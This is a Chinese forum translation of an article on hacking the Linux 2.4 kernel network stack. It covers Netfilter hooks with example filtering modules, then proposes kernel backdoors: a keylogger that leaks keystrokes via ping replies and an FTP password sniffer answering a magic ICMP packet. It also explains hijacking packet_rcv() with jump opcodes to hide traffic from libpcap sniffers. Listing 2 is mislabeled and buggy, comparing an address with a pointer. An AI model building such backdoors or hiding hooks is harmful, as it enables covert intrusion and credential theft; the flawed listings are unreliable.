深入Linux內核網絡堆棧

深入Linux內核網絡堆棧
作者:bioforge [email][email protected][/email] 
原名: <<Hacking the Linux Kernel Network Stack>>
 翻譯,修改: duanjigang <[email][email protected][/email]>
 翻譯參考:raodan (raod_at_30san.com) 2003-08-22 

[size=4]第一章  簡介[/size]

本文將描述如何利用Linux網絡堆棧的竅門(不一定都是漏洞)來達到一些目的,或者是惡意的,或者是出於其它意圖的。文中會就後門通訊對Netfilter鉤子進行討論,並在本地機器上實現將這個傳輸從基於Libpcap的嗅探器(sniffer)中隱藏。
    Netfilter是2.4內核的一個子系統。Netfilter可以通過在內核的網絡代碼中使用各種鉤子來實現數據包過濾,網絡地址轉換(NAT)和連接跟蹤等網絡欺騙。這些鉤子被放置在內核代碼段,或者靜態編譯進內核,或者作爲一個可動態加載/卸載的可卸載模塊,然後就可以註冊稱之爲網絡事件的函數(比如數據包的接收)。

[size=3]1.1 本文論述的內容[/size]

本文將講述內核模塊的編寫者如何利用Netfilter的鉤子來達到任何目的,以及怎樣將網絡傳輸從一個Libpcap的應用中隱藏掉。儘管Linux2.4支持對IPV4,IPV6以及DECnet的鉤子,本文只提及IPV4的鉤子。但是,對IPV4的大多數應用內容同樣也可以應用於其他協議。出於教學目的,我們在附錄A給出了一個可以工作的內核模塊,實現基本的數據包過濾功能。針對本文中所列技術的所有開發和試驗都在Intel機子上的Linux2.4.5系統上進行過。對Netfilte 鉤子行爲的測試使用的是迴環設備(Loopback device),以太網設備和一個點對點接口的調制解調器。
對Netfilter進行完全理解是我撰寫本文的另一個初衷。我不能保證這篇文章所附的代碼100%的沒有差錯,但是所列舉的所有代碼我都事先測試過了。我已經飽嘗了內核錯誤帶來的磨礪,而你卻不必再經受這些。同樣,我不會爲按照這篇文檔所說的任何東西進行的作所所爲帶來的損失而負責。閱讀本篇文章的讀者最好熟悉C程序設計語言,並且對內核可卸載模塊有一定的經驗。
如果我在文中犯了任何錯誤的話,請告知我。我對於你們的建議和針對此文的改進或者其它的Netfilter應用會傾心接受。

[size=3]1.2 本文不會涉及到的方面[/size]

本文並不是Netfilter的完全貫穿(或者進進出出的講解)。也不是iptables命令的介紹。如果你想更好的學習iptables的命令,可以去諮詢man手冊。
讓我們從介紹Nerfilter的使用開始吧……….

[size=4]第二章  各種NetFilter 鉤子及其用法[/size]

[size=3]2.1 Linux內核對數據包的處理[/size]

我將盡最大努力去分析內核處理數據包的詳細內幕,然而對於事件觸發處理以及之後的Netfilter 鉤子不做介紹。原因很簡單,因爲Harald Welte 關於這個已經寫了一篇再好不過的文章<<Journey  of a Packet Through the Linux 2.4 Network Stack>>,如果你想獲取更多關於Linux對數據包的相關處理知識的話,我強烈建議你也閱讀一下這篇文章。目前,就認爲數據包只是經過了Linux內核的網絡堆棧,它穿過幾層鉤子,在經過這些鉤子時,數據包被解析,保留或者丟棄。這就是所謂的Netfilter 鉤子。

[size=3]2.2 Ipv4中的Netfilter鉤子[/size]

Netfilter爲IPV4定義了5個鉤子。可以在 linux/netfilter-ipv4.h裏面找到這些符號的定義,表2.1列出了這些鉤子。

表 2.1. ipv4中定義的鉤子
鉤子名稱	                      調用時機  

NF_IP_PRE_ROUTING                完整性校驗之後,路由決策之前

NF_IP_LOCAL_IN	                 目的地爲本機,路由決策之後

NF_IP_FORWARD	                 數據包要到達另外一個接口去

NF_IP_LOCAL_OUT	                本地進程的數據,發送出去的過程中

NF_IP_POST_ROUTING	向外流出的數據上線之前


NF_IP_PRE_ROUTING 鉤子稱爲是數據包接收後第一個調用的鉤子程序,這個鉤子在我們後面提到的模塊當中將會被用到。其他的鉤子也很重要,但是目前我們只集中探討NF_IP_PRE_ROUTING這個鉤子。
不管鉤子函數對數據包做了哪些處理,它都必須返回表2.2中的一個預定義好的Netfilter返回碼。
表2.2 Netfilter 返回碼
返回碼	          含義

NF_DROP	      丟棄這個數據包

NF_ACCEPT	保留這個數據包

NF_STOLEN	忘掉這個數據包

NF_QUEUE	讓這個數據包在用戶空間排隊

NF_REPEAT	再次調用這個鉤子函數


NF_DROP 表示要丟棄這個數據包,並且爲這個數據包申請的所有資源都要得到釋放。NF_ACCEPT告訴Netfilter到目前爲止,這個數據包仍然可以被接受,應該將它移到網絡堆棧的下一層。NF_STOLEN是非常有趣的一個返回碼,它告訴Netfilter讓其忘掉這個數據包。也就是說鉤子函數會在這裏對這個數據包進行完全的處理,而Netfilter就應該放棄任何對它的處理了。然而這並不意味着爲該數據包申請的所有資源都要釋放掉。這個數據包和它各自的sk_buff結構體依然有效,只是鉤子函數從Netfilter奪取了對這個數據包的掌控權。不幸的是,我對於NF_QUEUE這個返回碼的真實作用還不是很清楚,所在目前不對它進行討論。最後一個返回值NF_REPEAT請求Netfilter再次調用這個鉤子函數,很明顯,你應該慎重的應用這個返回值,以免程序陷入死循環。

[size=4]第三章  註冊和註銷NetFilter 鉤子[/size]

註冊一個鉤子函數是一個圍繞nf_hook_ops結構體的很簡單的過程,在linux/netfilter.h中有這個結構體的定義,定義如下:
struct nf_hook_ops 

{

                  struct list_head list;



                  /* User fills in from here down. */

                  nf_hookfn *hook;

                  int pf;

                  int hooknum;

                  /* Hooks are ordered in ascending priority. */

                  int priority;

};


這個結構體的成員列表主要是用來維護註冊的鉤子函數列表的,對於用戶來說,在註冊時並沒有多麼重要。hook是指向nf_hookfn函數的指針。也就是爲這個鉤子將要調用的所有函數。nf_hookfn同樣定義在linux/netfilter.h這個文件中。pf字段指定了協議簇(protocol family)。Linux/socket.h中定義了可用的協議簇。但是對於IPV4我們只使用PF_INET。hooknum 域指名了爲哪個特殊的鉤子安裝這個函數,也就是表2.1中所列出的條目中的一個。Priority域表示在運行時這個鉤子函數執行的順序。爲了演示例子模塊,我們選擇NF_IP_PRI_FIRST這個優先級。
   註冊一個Netfilter鉤子要用到nf_hook_ops這個結構體和nf_register_hook()函數。nf_register_hook()函數以一個nf_hook_ops結構體的地址作爲參數,返回一個整型值。如果你閱讀了net/core/netfilter.c中nf_register_鉤子()的源代碼的話,你就會發現這個函數只返回了一個0。下面這個例子註冊了一個丟棄所有進入的數據包的函數。這段代碼同時會向你演示Netfilter的返回值是如何被解析的。

代碼列表1. Netfilter鉤子的註冊
/* Sample code to install a Netfilter hook function that will

* drop all incoming packets. */

#define __KERNEL__

#define MODULE

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/netfilter.h>

#include <linux/netfilter_ipv4.h>



/* This is the structure we shall use to register our function */



static struct nf_hook_ops nfho;



/* This is the hook function itself */



unsigned int hook_func(unsigned int hooknum,

struct sk_buff **skb,

const struct net_device *in,

const struct net_device *out,

int (*okfn)(struct sk_buff *))

{



return NF_DROP;           /* Drop ALL packets */

}



/* Initialisation routine */

int init_module()

{



/* Fill in our hook structure */

nfho.hook = hook_func;         /* Handler function */

nfho.hooknum  = NF_IP_PRE_ROUTING; /* First hook for IPv4 */

nfho.pf       = PF_INET;

nfho.priority = NF_IP_PRI_FIRST;   /* Make our function first */

nf_register_hook(&nfho);

return 0;

}



/* Cleanup routine */

void cleanup_module()

{

nf_unregister_hook(&nfho);

}



這就是註冊所要做的一切。從代碼列表1你可以看到註銷一個Netfilter鉤子也是很簡單的一件事情,只需要調用nf_unregister_hook()函數,並將註冊時用到的結構體地址再次作爲註銷函數參數使用就可以了。
[size=4]第四章  基本的NetFilter數據包過濾技術[/size]
[size=3]4.1 鉤子函數近距離接觸[/size]
現在是我們來查看獲得的數據如何傳入鉤子函數並被用來進行過濾決策的時候了。所以,我們需要更多的關注於nf_hookfn函數的模型。Linux/netfilter.h給出瞭如下的接口定義:
typedef unsigned int nf_hookfn(unsigned int hooknum,

                              struct sk_buff **skb,

                              const struct net_device *in,

                              const struct net_device *out,

                              int (*okfn)(struct sk_buff *));




nf_hookfn函數的第一個參數指定了表2.1給出的鉤子類型中的一種。第二個參數更有趣,它是一個指向指針(這個指針指向一個sk_buff類型的結構體)的指針,它是網絡堆棧用來描述數據包的結構體。這個結構體定義在linux/skbuff.h中,由於這個結構體的定義很大,這裏我只着重於它當中更有趣的一些域。
或許sk_buff結構體中最有用的域就是其中的三個聯合了,這三個聯合描述了傳輸層的頭信息(例如 UDP,TCP,ICMP,SPX),網絡層的頭信息(例如ipv4/6, IPX, RAW)和鏈路層的頭信息(Ethernet 或者RAW)。三個聯合相應的名字分別爲:h,nh和mac。根據特定數據包使用的不同協議,這些聯合包含了不同的結構體。應當注意,傳輸層的頭和網絡層的頭極有可能在內存中指向相同的內存單元。在TCP數據包中也是這樣的情況,h和nh都是指向IP頭結構體的指針。這就意味着,如果認爲h->th指向TCP頭,從而想通過h->th來獲取一個值的話,將會導致錯誤發生。因爲h->th實際指向IP頭,等同於nh->iph。
其他比較有趣的域就是len域和data域了。len表示包中從data開始的數據總長度。因此,現在我們就知道如何通過一個skbuff結構體去訪問單個的協議頭或者數據包本身的數據。還有什麼有趣的數據位對於Netfilter的鉤子函數而言是有用的呢?
跟在sk_buff之後的兩個參數都是指向net_device結構體的指針。net_devices結構體是Linux內核用來描述各種網絡接口的。第一個結構體,in,代表了數據包將要到達的接口,當然 out就代表了數據包將要離開的接口。有很重要的一點必須認識到,那就是通常情況下這兩個參數最多隻提供一個。 例如,in通常情況下只會被提供給NF_IP_PRE_ROUTING和NF_IP_LOCAL_IN鉤子。out通常只被提供給NF_IP_LOCAL_OUT和NF_IP_POST_ROUTING鉤子。在這個階段,我沒有測試他們中的那個對於NF_IP_FORWARD是可用的。如果你能在廢棄之前確認它們(in和out)不空的話,那麼你很優秀。
最後,傳給鉤子函數的最後一個參數是一個名爲okfn的指向函數的指針,這個函數有一個sk_buff的結構體作爲參數,返回一個整型值。我也不能確定這個函數做什麼,在net/core/netfilter.c中有兩處對此函數的調用。這兩處調用就是在函數nf_hook_slow()和函數nf_reinject()裏,在這兩個調用處當Netfilter鉤子的返回值爲NF_ACCEPT時,此函數被調用。如果有誰知道關於okfn更詳細的信息,請告訴我。
現在我們已經對Netfilter接收到的數據中最有趣和最有用的部分進行了分析,下面就要開始介紹如何利用這些信息對數據包進行各種各樣的過濾。

[size=3]4.2 基於接口的過濾[/size]
這將是我們能做的最簡單的過濾技術。是否還記得我們的鉤子函數接收到的net_device結構體?利用net_device結構體中的name鍵值,我們可以根據數據包的目的接口名或者源接口名來丟棄這些數據包。爲了拋棄所有發向”eth0”的數據,我們只需要比較一下“in->name”和“eth0”,如果匹配的話,鉤子函數返回NF_DROP,然後這個數據包就被銷燬了。它就是這樣的簡單。列表2給出了示例代碼。請注意輕量級防火牆(LWFW)會使用到這裏提到的所有過濾方法。LWFW同時還包含了一個IOCTL方法來動態改變自身的行爲。

列表2. 基於源接口(網卡名)的數據過濾技術
/* Sample code to install a Netfilter hook function that will

          * drop all incoming packets from an IP address we specify */



          #define __KERNEL__

          #define MODULE



          #include <linux/module.h>

          #include <linux/kernel.h>

          #include <linux/skbuff.h>

          #include <linux/ip.h>                  /* For IP header */

          #include <linux/netfilter.h>

          #include <linux/netfilter_ipv4.h>



          /* This is the structure we shall use to register our function */

          static struct nf_hook_ops nfho;



          /* IP address we want to drop packets from, in NB order */

          static unsigned char *drop_ip = "\x7f\x00\x00\x01";



          /* This is the hook function itself */

          unsigned int hook_func(unsigned int hook_num,

                                 struct sk_buff **skb,

                                 const struct net_device *in,

                                 const struct net_device *out,

                                 int (*okfn)(struct sk_buff *))

          {

              struct sk_buff *sb = *skb;



              if (sb->nh.iph->saddr == drop_ip) {

                  printk("Dropped packet from... %d.%d.%d.%d\n",

		  	  *drop_ip, *(drop_ip + 1),

			  *(drop_ip + 2), *(drop_ip + 3));

                  return NF_DROP;

              } else {

                  return NF_ACCEPT;

              }

          }



          /* Initialisation routine */

          int init_module()

          {

              /* Fill in our hook structure */

              nfho.hook     = hook_func;

              /* Handler function */

              nfho.hook_num  = NF_IP_PRE_ROUTING; /* First for IPv4 */

              nfho.pf       = PF_INET;

              nfho.priority = NF_IP_PRI_FIRST;   /* Make our func first */

          

              nf_register_hook(&nfho);



              return 0;

          }

          

	     /* Cleanup routine */

          void cleanup_module()

          {

              nf_unregister_hook(&nfho);

          }


現在看看,是不是很簡單?下面讓我們看看基於IP地址的過濾技術。
[size=3]4.3 基於IP地址的過濾[/size]
類似基於接口的數據包過濾技術,基於源/目的IP地址的數據包過濾技術也很簡單。這次我們對sk_buff結構體比較感興趣。現在應該記起來,Skb參數是一個指向sk_buff結構體的指針的指針。爲了避免運行時出現錯誤,通常有一個好的習慣就是另外聲明一個指針指向sk_buff結構體的指針,把它賦值爲雙重指針所指向的內容,像這樣:
struct sk_buff *sb = *skb;    /* Remove 1 level of indirection* /


然後你只需要引用一次就可以訪問結構體中的成員了。可以使用sk_buff結構體中的網絡層頭信息來獲取此數據包的IP頭信息。這個頭包含在一個聯合中,可以通過sk_buff->nh.iph來獲取。列表3的函數演示了當給定一個數據包的sk_buff結構時,如何根據給定的要拒絕的IP對這個數據包進行源IP地址的檢驗。這段代碼是直接從LWFW中拉出來的。唯一的不同之處就是LWFW中對LWFW統計量的更新被去掉了。
列表3.檢測接收到數據包的源IP地址
unsigned char *deny_ip = "\x7f\x00\x00\x01";  /* 127.0.0.1 */

 

	  ...

          static int check_ip_packet(struct sk_buff *skb)

          {

              /* We don't want any NULL pointers in the chain to

	       * the IP header. */

              if (!skb )return NF_ACCEPT;

              if (!(skb->nh.iph)) return NF_ACCEPT;

              if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) 

{ 

	            return NF_DROP;

               }

               return NF_ACCEPT;

          }


如果源IP地址與我們想拋棄數據包的IP地址匹配的話,數據包就會被丟棄。爲了使函數能正常工作,deny_ip的值應該以網絡字節序的方式存儲(與intel相反的Big-endian格式)。儘管這個函數在被調用的時候有一個空指針作參數這種情況不太可能,但是稍微偏執(小心)一點總不會有什麼壞處。當然,如果調用時出現了差錯的話,函數將會返回一個NF_ACCEPT值,以便於Netfilter能夠繼續處理這個數據包。列表4 展現了一個簡單的基於IP地址的數據包過濾的模塊,這個模塊是由基於接口的過濾模塊修改得到的。你可以修改IP地址來實現對指定IP地址發來的數據包的丟棄。

列表4. 基於數據包源IP地址的過濾技術
/* Sample code to install a Netfilter hook function that will

          * drop all incoming packets from an IP address we specify */



          #define __KERNEL__

#define MODULE

#include <linux/module.h>

          #include <linux/kernel.h>

          #include <linux/skbuff.h>

          #include <linux/ip.h>                  /* For IP header */

          #include <linux/netfilter.h>

          #include <linux/netfilter_ipv4.h>



          /* This is the structure we shall use to register our function */

          static struct nf_hook_ops nfho;



          /* IP address we want to drop packets from, in NB order */

          static unsigned char *drop_ip = "\x7f\x00\x00\x01";



          /* This is the hook function itself */

          unsigned int hook_func(unsigned int hooknum,

                                 struct sk_buff **skb,

                                 const struct net_device *in,

                                 const struct net_device *out,

                                 int (*okfn)(struct sk_buff *))

          {

              struct sk_buff *sb = *skb;



              if (sb->nh.iph->saddr == drop_ip) {

                  printk("Dropped packet from... %d.%d.%d.%d\n",

		  	  *drop_ip, *(drop_ip + 1),

			  *(drop_ip + 2), *(drop_ip + 3));

                  return NF_DROP;

              } else {

                  return NF_ACCEPT;

              }

          }



          /* Initialisation routine */

          int init_module()

          {

              /* Fill in our hook structure */

              nfho.hook     = hook_func;

              /* Handler function */

              nfho.hooknum  = NF_IP_PRE_ROUTING; /* First for IPv4 */

              nfho.pf       = PF_INET;

              nfho.priority = NF_IP_PRI_FIRST;   /* Make our func first */

              nf_register_hook(&nfho);

              return 0;

          }

	      /* Cleanup routine */

          void cleanup_module()

          {

              nf_unregister_hook(&nfho);

          }



[size=3]4.4 基於TCP端口的過濾[/size]
另外一個要執行的簡單的規則就是基於TCP目的端口的數據包過濾。這比檢驗IP地址稍微複雜一點,因爲我們要自己創建一個指向TCP頭的指針。還記得前面關於傳輸層頭和網絡層頭所做的討論嗎?獲得一個TCP頭指針很簡單,只需要申請一個指向tcphdr(定義在linux/tcp.h中)結構體的指針,並將它指向包數據中的IP頭後面。或許一個例子就可以了。列表5展示了怎樣檢測一個數據包的TCP目的端口與我們想丟棄數據的指定端口是否一致。與列表3一樣,這段代碼也是從LWFW中拿出來的
列表5. 檢測接收到數據包的TCP目的端口
unsigned char *deny_port = "\x00\x19";   /* port 25 */

	  ...

          static int check_tcp_packet(struct sk_buff *skb)

          {

              struct tcphdr *thead;

              /* We don't want any NULL pointers in the chain

	       * to the IP header. */

              if (!skb ) return NF_ACCEPT;

              if (!(skb->nh.iph)) return NF_ACCEPT;

              /* Be sure this is a TCP packet first */

              if (skb->nh.iph->protocol != IPPROTO_TCP) {

                  return NF_ACCEPT;

              }

              thead = (struct tcphdr *)(skb->data  + (skb->nh.iph->ihl * 4));

              /* Now check the destination port */

              if ((thead->dest) == *(unsigned short *)deny_port) {

                  return NF_DROP;

              }    

	      return NF_ACCEPT;

          }


世紀上非常簡單。不要忘了deny_port是網絡字節序時,這個函數才能工作。數據包過濾技術的基礎就是:對於一個特定的數據包,你必須對怎樣到達你想要的信息段的方法非常瞭解。下面,我們將進入更有趣的世界。

[ 本帖最後由 duanjigang 於 2006-5-21 18:45 編輯 ]

souce.rar



 duanjigang 回覆於:2006-05-21 09:13:20

[size=5]第五章  NetFilter鉤子其他可能的用法[/size]


在這裏我將會就Netfilter在其它方面的更有趣的應用給你作一些建議。在5.1我會給你提供一些思想源泉。5.2節將會討論並提供能運行的代碼,這個代碼使一個基於內核的FTP密碼嗅探器,能夠遠程獲取密碼。事實上,它運行的很好以至於我有些驚恐,所以將它寫了出來。

[size=4]5.1 隱藏後門守護進程[/size]

內核模塊編程實際上是Linux開發最有意思的領域之一。在內核中寫代碼意味着你在一個只被你的想象力限制的地方寫代碼。從惡意一點的觀點來思考,你可以隱藏一個文件,一個進程,或者說你能做任何rootkit能實現的很酷的事情。或者說從不太惡意(有這種觀點的人)的觀點來說,你可以隱藏文件,進程,和各種各樣很酷的動作,內核真正是一個很迷人的地方。
擁有一個內核級的程序員所具有的所有能力,許多事情都是可能的。或許最有趣(對於系統管理員來說這可是很恐怖的事情)的一件事情就是在內核植入一個後門程序。畢竟,當一個後門沒有作爲進程而運行的時候,你怎麼會知道它在運行?當然肯定存在一些可以使你的內核能夠嗅到這些後門的方法,但是這些方法卻絕不會象運行PS命令那樣的簡單。將後門代碼植入內核中並不是一個很新的話題。我這裏要講的,卻是利用(你能夠猜到的)Netfilter鉤子植入簡單的網絡服務,將之作爲內核後門。
如果你有必要的技能並且願意承擔在做實驗時將你的內核導致崩潰的風險的話,你可以構造一個簡單而有用的網絡服務,將能夠完全的裝入內核並能進行遠程訪問。基本上說,Netfilter可以從所有接收到的數據包中查找指定的“神祕”數據包,當這個神祕的數據包被接收到的時候,可以進行一些特殊的處理。結果可以通過Netfilter鉤子函數發送出去,Netfilter鉤子函數然後返回一個NF_STOLEN結果以便這個神祕的數據包不會被繼續傳遞下去。但是必須注意一點,以這樣的方式來發送輸出數據的時候,向外發送的數據包對於輸出Netfilter鉤子函數仍然是可見的。因此對於用戶空間來說,完全看不到這個“神祕”數據包曾經來過,但是他們卻能夠看到你發送出來的數據。你必須留意,泄密主機上的Sniffer程序不能發現這個數據包並不意味着中間的宿主機上的嗅探器(sniffer)也不能發現這個數據包。
Kossak和lifeline曾爲Phrack雜誌寫過一篇精彩的文章,文中描述瞭如何通過註冊數據包類型處理器的方法來坐這些事情。雖然這片文章是關於Netfilter鉤子的,我還是強烈建議你閱讀一下那片文章(Issue 55, file 12),這片文章非常有趣,向你展示了很多有趣的思想。
那麼,後門的Netfilter鉤子到底能做哪種工作呢?好的,下面給出一些建議:
-------遠程訪問的擊鍵記錄器。模塊會記錄鍵盤的點擊並在遠程客戶機發送一個Ping包的時候,將結果發送給客戶機。因此,一連串的擊鍵記錄信息流會被僞裝成穩定的Ping包返回流發送回來。你也可以進行簡單的加密以便按鍵的ASC 值不會馬上暴露出來,一些警覺的系統管理員回想:“堅持,我以前都是通過SSH會話來鍵入這些的,Oh $%@T%&!”
--------簡單的管理任務,例如獲取機器當前的登錄用戶列表,或者獲取打開的網絡連接信息。
--------一個並非真正的後門,而是位於網絡邊界的模塊,並且阻擋任何被疑爲來自特洛伊木馬、ICMP隱蔽通道或者像KaZaa這樣的文件共享工具的通信。
--------文件傳輸服務器。我最近已經實現了這個想法。最終得到的Linux內核模塊會給你帶來數小時的愉悅。
--------數據包跳躍。將發送到裝有後門程序主機的特定端口的數據重新定向到另外一個IP主機的不同端口。並且將這個客戶端發送的數據包返回給發起者。沒有創建進程,最妙的是,沒有打開網絡套接字。
--------利用上面說到的數據包跳躍技術已以一種半傳輸的方式實現與網絡上關鍵系統的交互。例如配置路由等。
--------FTP/POP3/Telnet的密碼嗅探器。嗅探向外發送的密碼並保存起來,直到神祕數據包到來所要這些信息的時候,就將它發送出去。
好了,上面是一些簡單的思想列表。最後一個想法將會在下一節中進行詳細的介紹,因爲這一節爲讀者提供了一個很好的機會,使得我們能夠接觸更多的內核內部的網段絡代碼。

[size=4]5.2 基於內核的FTP密碼獲取Sniffer[/size]

針對前面談到的概念,這裏給出了一個例證—一個後門Netfilter程序。這個模塊嗅探流向服務器的外出的FTP數據包,尋找USER和PASSWD命令對,當獲取到一對用戶名和密碼時,模塊就會等待一個神祕的並且有足夠大空間能存儲用戶名和密碼的ICMP包(Ping包)的到來,收到這個包後,模塊會將用戶名和密碼返回。很快的發送一個神祕的數據包,獲取回覆並且打印信息。一旦一對用戶名和密碼從模塊中讀走都,模塊便會開始下一對數據的嗅探。注意模塊平時最多能存儲一對信息。已經大致介紹過了,我們現在對模塊具體怎樣工作進行詳盡的講解。當模塊被加載的時候,init_module()函數簡單的註冊兩個Netfilter鉤子。第一個鉤子負責從進入的數據包(在NF_IP_PRE_ROUTING時機調用)中尋找神祕的ICMP數據包。另外一個負責監視離開(在NF_IP_POST_ROUTING時調用)安裝本模塊的機器的數據包。在這裏尋找和俘獲FTP的登錄用戶名和密碼,cleanup_module()負責註銷這兩個鉤子。
watch_out()函數是在NF_IP_POST_ROUTING時調用的鉤子函數。看一下這個函數你就會發現它的動作很簡單。當一個數據包進入的時候,它會被經過多重的檢測以便確認這個數據包是否是一個FTP數據包。如果不是一個FTP數據包,將會立即返回一個NF_ACCEPT。如果是一個FTP數據包,模塊會確認是否已經獲取並存儲了一對用戶名和密碼。如果已經存儲了的話(這時 have_pari變量的值非零),那麼就會返回一個NF_ACCPET值,並且數據包最終可以離開這個系統。否則的話,check_ftp()方法將會被調用。通常在這裏密碼被提取出來,如果以前沒有接收到數據包的話,target_ip和target_port這兩個變量將會被清空。
Check_ftp()一開始在數據段的開頭尋找“USER”,“PASS”或者“QUIT”字段。注意,在沒有“USER”字段被處理之前通常不處理“PASS”字段。這是爲了防止在收到密碼後連接斷開,而這時沒有獲取到用戶名,就會陷入鎖中。同樣,當收到一個“QUIT”字段時,如果這時只有一個“USER”字段的話,就將所有變量復位,以便於Sniffer能繼續對新的連接進行嗅探。當“PASS”或者“USER”命令被收到時,在必要的完整性校驗之後,命令的參數會被拷貝下來。通常操作中都是在check_ftp()函數結束之前,檢驗有無用戶名和密碼者兩個命令字段。如果有的話,have_pair會被設置,並且在這對數據被取走之前不會再次獲取新的用戶名和密碼。
到目前爲止你已經知道了這個模塊怎樣安裝自己並且查找用戶名和密碼並記錄下來。下面你將會看到“神祕”數據包到來時會發生什麼。在這塊兒要特別留意,因爲開發中的大多數問題會在此處出現。如果沒有記錯的話,我在這裏遇到了16個內核錯誤。當數據到達安裝此模塊的機器時,watch_in()將會檢查每一個數據包看他是否是一個神祕的數據包。如果數據包沒有滿足被判定爲神祕數據包的條件的話,watch_in()會簡單的返回一個NF_ACCEPT來忽略這個數據包。注意,神祕數據包的判定標準就是這個數據包有足夠的空間能夠容納IP地址,用戶名和密碼這些字符串。這樣做是爲了使得數據的回覆更容易些。可能需要申請一個新的sk_buff結構體。但是要保證所有的數據域都正確卻是件不容易的事情,所以你必須想辦法確保這些域的鍵值正確無誤。因此,我們在此並不創建一個新的結構體,而是直接修改請求數據包的結構,將其作爲一個返回數據包。爲了能正確返回,需要做幾個修改。首先,IP地址進行交換,結構體(sk_buff)中的數據包類型這個域的值要改爲“PACKET_OUTGOING”,這個在linux/if_packet.h中定義了。第二步要確保每個鏈路層信息已經被包含在其中。我們接收到數據包的數據域就是鏈路層頭信息後面的指向sk_buff結構體的指針,並且指向數據包中數據開頭的指針傳遞了數據域。所以,對於需要鏈路層頭信息的接口(以太網卡,迴環設備和點對點設備的原始套結字)而言,我們的數據域指向mac.ethernet或者mac.raw結構。你可以通過檢測sb->dev->type的值(sb是指向sk_buff結構體的指針)的值來判斷這個數據包進入了什麼類型的接口。你可以在linux/ip_arp.h中找到這些有效的值。最有用的都在表三列了出來。

表三.常見接口(網卡)類型
類型碼	接口類型

ARPHRD_ETHER	以太網卡

ARPHRD_LOOPBACK	迴環設備

ARPHRD_PPP	點對點設備



要做的最後一件事就是把我們要發送的數據包拷貝到返回的消息裏面去,然後就該發送數據包了。函數dev_queue_xmit()使用一個指向sk_buff結構體的指針作爲唯一的參數,在發送明顯失敗時返回一個負的錯誤碼(一個負值)。這裏“明顯”的失敗指什麼呢?這樣的,如果你給這個函數一個構造的壞的套接字緩衝,你並不會得到一個明顯的失敗。當出現內核錯誤或者內核棧溢出時就產生了一個明顯的失敗。這下知道錯誤怎樣被劃分爲兩類了吧?最後watch_in()返回一個NF_STOLEN告訴Netfilter讓它忘記曾經看幾過這個數據包。在調用dev_queue_xmit()時不要返回NF_DROP!如果你這樣做了,你很快會得到一個骯髒的內核錯誤。因爲dev_queue_xmit()會釋放掉傳遞進去的套接字緩衝區,而Netfilter卻會嘗試去對已經釋放掉的數據包做相同的事情。好了,代碼的討論已經足夠了,現在是看代碼的時候了。
[size=3]5.2.1 nsniffer 的代碼[/size]
代碼超過發貼上限,見附件
[size=3]5.2.2 getpass.c 代碼[/size]
代碼超過發貼上限,見附件

[size=5]第六章  在Libpcap中隱藏網絡通訊[/size]

[size=4]6.1 SOCK_PACKET, SOCK_RAW 和Libpcap[/size]

系統管理員經常用到的一些軟件可“數據包嗅探器”這個標題進行分類。最普通的用於一般目的的數據包嗅探器有
Tcpdump(1)和Ethreal(1)。這兩個應用都是利用了libpcap這個庫來獲取原始套結字的數據包。網絡入侵檢測系統(NetWork Intrusion Detection System NIDS)也利用了libpcap這個庫。SNORT也需要libpcap, Libnids----一個提供IP重組和TCP流跟蹤的NIDS開發庫(參見參考文獻[2]),也是如此。
在一臺Linux系統上,libpcap利用SOCK_PACKET接口。Packet套結字是一種能夠在鏈路層接收和發送數據包的特殊套結字。關於packet套結字和它的用途可以說一大堆東西,但是本文是從它們當中隱藏而不是講述如何利用它們的。感興趣的讀者可以從packet(7)的man手冊中瞭解到更詳細的信息。在此處。我們只需要知道packet套結字能夠被libpcap用來從機器上的原始套結字中獲取進入的和發送的數據。
當內核的網絡堆棧收到一個數據包時,要對其進行一定的校驗以便確定是否有packet套結字對它感興趣。如果有的話,這個數據包就被分發給對它感興趣的套結字。如果沒有的話,這個數據包繼續流向TCP層,UDP層,或者其它的真正目的地。對於SOCKET_RAW型的套結字也是這樣的情形。SOCKET_RAW非常類似於SOCKET_PACKET型的套結字,區別就在於SOCKET_RAW不提供鏈路層的頭信息。我在附錄[3]中的SYNalert就是SOCKET_RAW利用的一個例子。
現在你應該知道Linux系統上的數據包嗅探軟件都是利用libpcap庫了吧。Libpcap在Linux上利用PACKET_SOCKET接口從鏈路層獲取原始套結字數據包。原始套結字可以在用戶空間被用來從IP頭中獲取所有的數據包。下一段將會講述一個Linux內核模塊(LKM)怎樣從數據包中或者SOCKET_RAW套結字接口中隱藏一個網絡傳輸。

[size=4]6.2 給狼披上羊皮[/size]
(這個譯法借鑑於參考譯文)

當一個數據包被接收到併發送給一個packet套結字時,packet_rcv()函數會被調用。可以在net/packet/af_packet.c中找到這個函數的源代碼。packet_rcv()負責使數據通過所有可能應用於數據目的地的Netfilter,最終將數據投遞到用戶空間。爲了從PACKET中隱藏數據包,我們需要設法讓packet_rcv()對於一些特定的數據包一點也不調用。我們怎樣實現這個?當然是優秀的ol式的函數劫持了。
函數劫持的基本操作是:如果我們知道一個內核函數,甚至是那些沒有被導出的函數的入口地址,我們可以在實際的代碼運行前將這個函數重定位到其他的位置。爲了達到這樣的目的,我們首先要從這個函數的開始,保存其原來的指令字節,然後將它們換成跳轉到我們的代碼處執行的絕對跳轉指令。例如以i386彙編語言實現該操作如下:
movl  (address of our function),  %eax

	jmp   *eax


這些指令產生的16進制代碼如下(假設函數地址爲0):
0xb8 0x00 0x00 0x00 0x00

    0xff 0xe0


如果我們在Linux核心模塊的初始化時將上例中的函數地址替換爲我們的鉤子函數的地址,就可以使我們的鉤子函數先運行。當我們想運行原來的函數時,只需要在開始時恢複函數原來的指令,調用該函數並且替換我們的劫持代碼。簡單而有效。Silvio Cesare 不久前寫過一篇文章,講述如何實現內核函數劫持,參見參考文獻[4]。
要從packet套接字隱藏數據包,我們首先要寫一個鉤子函數,用來檢查這個數據包是否滿足被隱藏的標準。如果滿足,鉤子函數簡單的向它的調用者返回一個0,這樣packet_rcv()函數也就不會被調用。如果packet_rcv()函數不被調用,那麼這個數據包就不會遞交給用戶空間的packet套接字。注意,只是對於"packet"套接字來說,該數據包被丟棄了。如果我們要過濾送到packet套接字的FTP數據包,那麼FTP服務器的TCP套接字仍然能收到這些數據包。我們所做的一切只是使運行在本機上的嗅探軟件無法看到這些數據包。FTP服務器仍然能夠處理和記錄連接。
    
